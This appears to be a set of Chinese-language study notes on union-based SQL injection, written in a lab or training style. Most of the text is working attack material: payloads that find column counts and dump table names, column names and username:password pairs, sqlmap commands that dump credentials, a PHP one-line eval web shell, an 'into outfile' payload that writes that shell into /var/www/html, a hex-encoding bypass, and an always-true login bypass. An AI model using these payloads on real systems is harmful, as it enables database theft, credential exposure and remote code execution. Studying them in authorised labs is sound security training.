sql注入--联合查询

远程注入sql语句到数据库中执行并返回执行结果

1、web页面与数据库存在交互点
2、能否写入任意的sql语句到数据库中执行并返回结果

and
左右两边均为真值时,输出为真
左右两边一边为真一边为假时,输出为假
左右两边均为假时,输出为假

1=1 and 1=2 假值

注释符 --+ # %23 ;%00

GET方式传参 url处写入 ?id=xxx
POST方式传参 请求体里 id=xxx

数字型 字符型
闭合方式 ' " ) ') ")

$id代表变量 $id=GET['id']
?id=32 and 1=2 --+
select wz from article where id=$id limit 0,1

select * from users where id='$id' limit 0,1
#猜测闭合方式
$id=1' and 1=2 --+
select * from users where id='1' and 1=2 --+' limit 0,1
#猜测列数--order by  二分法
order by 赋予参数时,给予的参数大于实际列数,报错
$id=1' order by 4 --+
select * from users where id='1' order by 4 --+' limit 0,1
#查看回显位置
union 联合 将两个sql语句联合执行
selct语句后跟数组,自动数组识别为行变量
浏览器只能同时呈现一条select语句执行的结果
$id=-1' union select 1,2,3 --+
select * from users where id='-1' union select 1,2,3 --+' limit 0,122
#查看数据库名、用户名
$id=-1' union select 1,database(),user() --+

常用函数

database()       #数据库名称
version()        #数据库版本
user()           #数据库使用者
group_concat()   #将参数拼接到一行集中输出
limit a,b        #依次取值   从a+b的位置取b的值进行输出
hex()            #对参数进行16进制编码
unhex()          #对参数进行16进制解码
into outfile()   #向服务器写入指定的文件
load_file()      #读取服务器本地文件

常用表

information_schema.schemata      #存储了数据库中所有数据库的库名
information_schema.tables        #存储了数据库中所有数据表的表名
information_schema.columns       #存储了数据库中所有字段名
#常用字段
table_schema     #数据库名
table_name       #数据表名
column_name      #数据列名

查看数据表名

$id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

查看字段名

$id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

查看字段值

$id=-1' union select 1,group_concat(id,':',username,':',password),3 from users --+

sqlmap

sqlmap -u “ip”

1、 sqlmap -u"http://XXXXXXX?id=1"
如果存在注入点,将会显示Web容器、数据库版本信息。
2、读取数据库:sqlmap -u"http://XXXXXXX?id=1" --dbs
3、查看当前应用程序所用数据库:sqlmap -u "http://XXXXXXX?id=1" --current-db
4、列出指定数据库的所有表:sqlmap -u"http://XXXXXXX?id=1"--tables -D "security"
5、读取指定表中的字段名称:sqlmap -u"http://XXXXXXX?id=1"--columns -T "users" -D "security"
6、读取指定字段的内容:sqlmap -u"http://XXXXXXX?id=1" --dump-C "username,password" -T "users" -D"security"
--dump参数意为转存数据,
-C参数指定字段名称
-T指定表名
-D指定数据库名称

shell是什么?--使用交互命令的环境
写shell--一句话木马(获取到目标权限)
php一句话木马
<?php @eval($_POST['c']);?>

hex绕过

$id=99999 union select 1,2,user(),4,5,6,7,8,9,10,(select unhex(hex(group_concat(table_name))) from information_schema.tables where table_schema='cms'),12,13,14,15  --+

sql注入写入shell

1 要有写入的目标文件夹路径
2 拥有文件写入的权限 secure_file_priv=""

$id=-1 union select 1,2,3,4,5,6,7,8,9,10,"<?php @eval($_POST['c']);?>",12,13,14,15 into outfile "/var/www/html/pte0617.php"  --+

linux系统常见路径

/etc/passwd root:x:0:0:root:/root:/bin/bash
/etc/shadow
/var/www/html/

万能密码
select * from users where username='$username' and password='$password' limit 0,1
or
两边都为真时,输出为真
一边为真一边为假时,输出为真
两边均为假时,输出为假
$username $password
$username=admin' or '1'='1 $password=admin' or '1'='1
select * from users where username='admin' or '1'='1' and password='admin' or '1'='1' limit 0,1